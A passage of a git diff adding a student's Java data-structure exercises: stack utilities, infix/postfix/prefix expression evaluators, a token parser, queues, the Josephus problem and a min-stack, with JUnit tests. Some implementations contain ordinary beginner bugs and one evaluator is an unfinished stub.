+		Object o = elementData.get(count);
+		elementData.remove(count);
+		return o;
+	}
+
+	public Object peek() {
+
+		return elementData.get(count-1);
+	}
+
+	public boolean isEmpty() {
+		if (count == 0) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	public int size() {
+		return count;
+	}
+
+	public String toString(){
+		StringBuilder sb = new StringBuilder();
+		Stack s = new Stack();
+		while(!this.isEmpty()){
+			sb.append(this.peek().toString());
+			sb.append(",");
+			s.push(this.pop());
+		}
+		while(!s.isEmpty()){
+			this.push(s.pop());
+		}
+
+//       sb.deleteCharAt(sb.length()-1);
+		return sb.toString();
+	}
+}
+
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..0148188b29
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,136 @@
+package com.coding.basic.stack;
+import java.util.Stack;
+public class StackUtil {
+
+	public static void bad_reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+
+		s = tmpStack;
+
+	}
+
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Integer top = s.pop();
+		reverse(s);
+		addToBottom(s,top);
+
+
+	}
+	public static void addToBottom(Stack<Integer> s,  Integer value){
+		if(s.isEmpty()){
+			s.push(value);
+		} else{
+			Integer top = s.pop();
+			addToBottom(s,value);
+			s.push(top);
+		}
+
+	}
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 *
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack tmpStack = new Stack();
+
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			if(!value.equals(o)){
+				tmpStack.push(value);
+			}
+		}
+
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+
+		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
+			return null;
+		}
+
+		Stack tmpStack = new Stack();
+		int i = 0;
+		Object[] result = new Object[len];
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			tmpStack.push(value);
+			result[i++] = value;
+			if(i == len){
+				break;
+			}
+		}
+
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+
+		Stack<Character> stack = new Stack();
+		for(int i=0;i<s.length();i++){
+			char c = s.charAt(i);
+
+			if(c == '(' || c =='[' || c == '{'){
+
+				stack.push(c);
+
+			} else if( c == ')'){
+
+				char topChar = stack.pop();
+				if(topChar != '('){
+					return false;
+				}
+
+			} else if( c == ']'){
+
+				char topChar = stack.pop();
+				if(topChar != '['){
+					return false;
+				}
+
+			} else if( c == '}'){
+
+				char topChar = stack.pop();
+				if(topChar != '{'){
+					return false;
+				}
+
+			}
+		}
+		return stack.size() == 0;
+	}
+
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..76f2cb7668
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,65 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..ef85ff007f
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,15 @@
+package com.coding.basic.stack.expr;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20e34e8852
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..92c31a1085
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,110 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.List;
+
+public class InfixToPostfix {
+    private static List op = new ArrayList();
+
+    public static List<Token> convert(String expr) {
+        op.add('+');
+        op.add('-');
+        op.add('*');
+        op.add('/');
+        List<String> numList = new LinkedList<>();
+        List<String> opList = new LinkedList<>();
+
+        List<Token> list = new ArrayList<Token>();
+
+
+        char[] chars = expr.toCharArray();
+
+        int index = 0;
+        while (index < chars.length) {
+            if (op.contains(chars[index])) {
+                if (chars[index] == '*' || chars[index] == '/') {
+
+                    char oper = chars[index];
+
+                    StringBuilder sb = new StringBuilder();
+                    index++;
+                    while (chars[index] >= '0' && chars[index] <= '9') {
+                        sb.append(chars[index]);
+                        index++;
+                    }
+                    String s = numList.get(numList.size() - 1);
+                    numList.remove(numList.size() - 1);
+                    StringBuilder buffer = new StringBuilder();
+                    buffer.append(s + ' ');
+                    buffer.append(sb);
+                    buffer.append(oper);
+                    numList.add(buffer.toString());
+                    //numStack.push(buffer.toString());
+
+                } else {
+                    opList.add("" + chars[index]);
+                    //opStack.push(chars[index]);
+                }
+                index++;
+            } else if (chars[index] == ' ') {
+                index++;
+            } else {
+                StringBuilder sb = new StringBuilder();
+                while (chars[index] >= '0' && chars[index] <= '9') {
+                    sb.append(chars[index]);
+                    index++;
+                }
+                numList.add(sb.toString());
+                //numStack.push(sb.toString());
+            }
+
+        }
+
+        int opListIndex = 0;
+        while (opListIndex < opList.size()) {
+            for (int i = 0; i < opList.size(); i++) {
+                String a = numList.get(0);
+                String b = numList.get(1);
+                numList.set(0, a + " " + b + " " + opList.get(opListIndex));
+                numList.remove(1);
+            }
+        }
+
+        String postfixExpr = numList.get(0);
+        char[] chars1 = postfixExpr.toCharArray();
+        index = 0;
+        while (index < chars1.length) {
+            if (chars1[index] == '+') {
+                Token token = new Token(1, "+");
+                list.add(token);
+            } else if (chars1[index] == '-') {
+                Token token = new Token(1, "-");
+                list.add(token);
+            } else if (chars1[index] == '*') {
+                Token token = new Token(1, "*");
+                list.add(token);
+            } else if (chars1[index] == '/') {
+                Token token = new Token(1, "/");
+                list.add(token);
+            }else if (chars1[index] == ' '){
+                index++;
+            }else {
+                StringBuilder sb = new StringBuilder();
+                while (chars1[index] >= '0' && chars1[index] <= '9') {
+                    sb.append(chars1[index]);
+                    index++;
+                }
+                Token token = new Token(2, sb.toString());
+                list.add(token);
+            }
+
+        }
+
+        return list;
+    }
+
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..8400bef4f8
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,95 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+    String expr = null;
+    int count;
+    ArrayList operator = new ArrayList();
+    Stack numStack = new Stack();
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        operator.add('+');
+        operator.add('-');
+        operator.add('*');
+        operator.add('/');
+        this.count = 0;
+        char[] exprs = this.expr.toCharArray();
+
+
+
+        while (count < exprs.length) {
+            if (operator.contains(exprs[count])) {
+                switch (exprs[count]) {
+                    case '+':
+                        add();
+                        break;
+                    case '-':
+                        subtract();
+                        break;
+                    case '*':
+                        multiply();
+                        break;
+                    case '/':
+                        divide();
+                        break;
+
+                }
+                this.count++;
+            } else if (exprs[count] == ' ') {
+                this.count++;
+            } else {
+                int num = getNum(exprs);
+                numStack.push(num);
+            }
+
+        }
+        int result = (int)numStack.pop();
+        return result;
+    }
+
+    private int getNum(char[] exprs) {
+
+        int num = exprs[count]-'0';
+        this.count++;
+
+        while (exprs[count] >= '0' && exprs[count] <= '9') {
+
+            num *= 10;
+            num += exprs[count]-'0';
+            this.count++;
+        }
+        return num;
+    }
+
+    private void add() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a + b);
+    }
+
+    private void subtract() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b - a);
+    }
+
+    private void multiply() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b * a);
+    }
+
+    private void divide() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b / a);
+    }
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..c0435a2db5
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..7a2c0379a1
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,98 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+    String expr = null;
+    int index;
+    ArrayList operator = new ArrayList();
+    Stack numStack = new Stack();
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        operator.add('+');
+        operator.add('-');
+        operator.add('*');
+        operator.add('/');
+        char[] exprs = this.expr.toCharArray();
+        this.index = exprs.length - 1;
+
+        while (index >= 0) {
+            if (operator.contains(exprs[index])) {
+                switch (exprs[index]) {
+                    case '+':
+                        add();
+                        break;
+                    case '-':
+                        subtract();
+                        break;
+                    case '*':
+                        multiply();
+                        break;
+                    case '/':
+                        divide();
+                        break;
+
+                }
+                this.index--;
+            } else if (exprs[index] == ' ') {
+                this.index--;
+            } else {
+                int num = getNum(exprs);
+                numStack.push(num);
+            }
+
+        }
+        int result = (int) numStack.pop();
+        return result;
+
+    }
+
+    private int getNum(char[] exprs) {
+
+        int num = exprs[index] - '0';
+        this.index--;
+        int i = 10;
+        while (exprs[index] >= '0' && exprs[index] <= '9') {
+
+            int temp = exprs[index] - '0';
+            temp *= i;
+            num += temp;
+            i *= 10;
+            this.index--;
+        }
+        return num;
+    }
+
+    private void add() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a + b);
+    }
+
+    private void subtract() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a - b);
+    }
+
+    private void multiply() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(b * a);
+    }
+
+    private void divide() {
+        int a = (int) numStack.pop();
+        int b = (int) numStack.pop();
+        numStack.push(a / b);
+    }
+
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..8579743fe9
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..d3b0f167e1
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..399d3e857e
--- /dev/null
+++ b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group23/563253496/week8_datastructure/src/CircleQueue.java b/group23/563253496/week8_datastructure/src/CircleQueue.java
new file mode 100644
index 0000000000..f69e5e6c5b
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/CircleQueue.java
@@ -0,0 +1,53 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+public class CircleQueue<E> {
+
+    private final static int DEFAULT_SIZE = 10;
+
+    //用数组来保存循环队列的元素
+    private Object[] elementData = new Object[DEFAULT_SIZE];
+
+    //队头
+    private int front = 0;
+    //队尾
+    private int rear = 0;
+
+    public boolean isEmpty() {
+        return this.front == this.rear;
+    }
+
+    public int size() {
+        int size = this.rear - this.front;
+        return size < 0 ? size += DEFAULT_SIZE : size;
+
+    }
+
+
+    public void enQueue(E data) {
+        if (this.isFull()) {
+            System.out.println("队列已满");
+            return;
+        }
+        elementData[this.rear] = data;
+        this.rear = ++this.rear % DEFAULT_SIZE;
+    }
+
+
+    public E deQueue() {
+        if (this.isEmpty()) {
+            System.out.println("队列为空");
+            return null;
+        }
+        E ele;
+        ele = (E) elementData[this.front];
+        this.front = (++this.front) % DEFAULT_SIZE;
+        return ele;
+    }
+
+    public boolean isFull() {
+        if ((this.rear + 1) % DEFAULT_SIZE == this.front) {
+            return true;
+        } else return false;
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/Josephus.java b/group23/563253496/week8_datastructure/src/Josephus.java
new file mode 100644
index 0000000000..3d1425e125
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/Josephus.java
@@ -0,0 +1,47 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中，
+ * N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * "[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2)
+ *
+ * @author liuxin
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m) {
+        List<Integer> result = new ArrayList<>();
+
+        List<Integer> list = new LinkedList<Integer>();
+        int interval = m - 1;
+
+        for (int i = 0; i < n; i++) {
+            list.add(i);
+        }
+        int index = 0;
+        while (list.size() > 0) {
+            /*for (int i = 0; i < m; i++) {
+                index = (++index) % list.size();
+
+            }*/
+            index += interval;
+            index %= list.size();
+            result.add(list.get(index));
+            list.remove(index);
+
+        }
+
+
+        return result;
+    }
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/JosephusTest.java b/group23/563253496/week8_datastructure/src/JosephusTest.java
new file mode 100644
index 0000000000..fb38138a32
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/JosephusTest.java
@@ -0,0 +1,28 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testExecute() {
+
+        Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+
+    }
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/Queue.java b/group23/563253496/week8_datastructure/src/Queue.java
new file mode 100644
index 0000000000..e2f5ce9a41
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/Queue.java
@@ -0,0 +1,62 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
+
+
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+            first = last;
+        }
+        else{
+            oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+            throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+            last = null;
+        }
+        return item;
+    }
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java b/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..c960f09bbb
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java
@@ -0,0 +1,60 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+
+
+
+    public boolean isEmpty() {
+
+        return stack1.isEmpty();
+    }
+
+
+
+    public int size() {
+        return stack1.size();
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        E ele ;
+        if (stack1.size() == 0) {
+            throw new RuntimeException("队列为空！");
+        }
+        while (stack1.size() > 1) {
+            stack2.push(stack1.pop());
+        }
+        ele =  stack1.pop();
+        while(!stack2.isEmpty()){
+            stack1.push(stack2.pop());
+        }
+
+        return ele;
+    }
+
+
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/QuickMinStack.java b/group23/563253496/week9_datastructure/src/QuickMinStack.java
new file mode 100644
index 0000000000..3b135521a0
--- /dev/null
+++ b/group23/563253496/week9_datastructure/src/QuickMinStack.java
@@ -0,0 +1,40 @@
+//package com.coding.basic.stack;
+
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ *
+ * @author liuxin
+ */
+public class QuickMinStack {
+    LinkedList<Integer> list = new LinkedList<Integer>();
+    LinkedList<Integer> temp = new LinkedList<>();
+    int min = Integer.MAX_VALUE;
+
+    public void push(int data) {
+        if (data < min) {
+            min = data;
+        }
+        list.add(data);
+    }
+
+    public int pop() {
+        int num = list.remove(list.size() - 1);
+        if (num == min) {
+            for (int tmp : list) {
+                temp.add(tmp);
+            }
+        }
+        Collections.sort(temp);
+        min = temp.get(0);
+        return list.remove(list.size() - 1);
+    }
+
+    public int findMin() {
+        return min;
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java b/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
new file mode 100644
index 0000000000..238f5cff0f
--- /dev/null
+++ b/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
@@ -0,0 +1,53 @@
+/**
+ * Created by bdl19 on 2017/5/6.
+ */
+
+import java.util.*;
+
+
+public class StackWithTwoQueues {
+
+    private Queue<Integer> queue1 = new LinkedList<Integer>();
+    private Queue<Integer> queue2 = new LinkedList<Integer>();
+
+    public void push(int data) {
+        if(queue2.isEmpty()){
+            queue1.add(data);
+        }else{
+            queue2.add(data);
+        }
+    }
+
+    public int pop() {
+        if (queue1.size() == 0 && queue2.size() == 0) {
+            throw new IndexOutOfBoundsException();
+        }
+
+
+
+        if(queue2.isEmpty()){
+            while(!(queue1.size()==1)){
+                queue2.add(queue1.remove());
+            }
+            return queue1.remove();
+
+        }else{
+            while(!(queue2.size()==1)){
+                queue1.add(queue2.remove());
+            }
+            return queue2.remove();
+        }
+
+
+    }
+
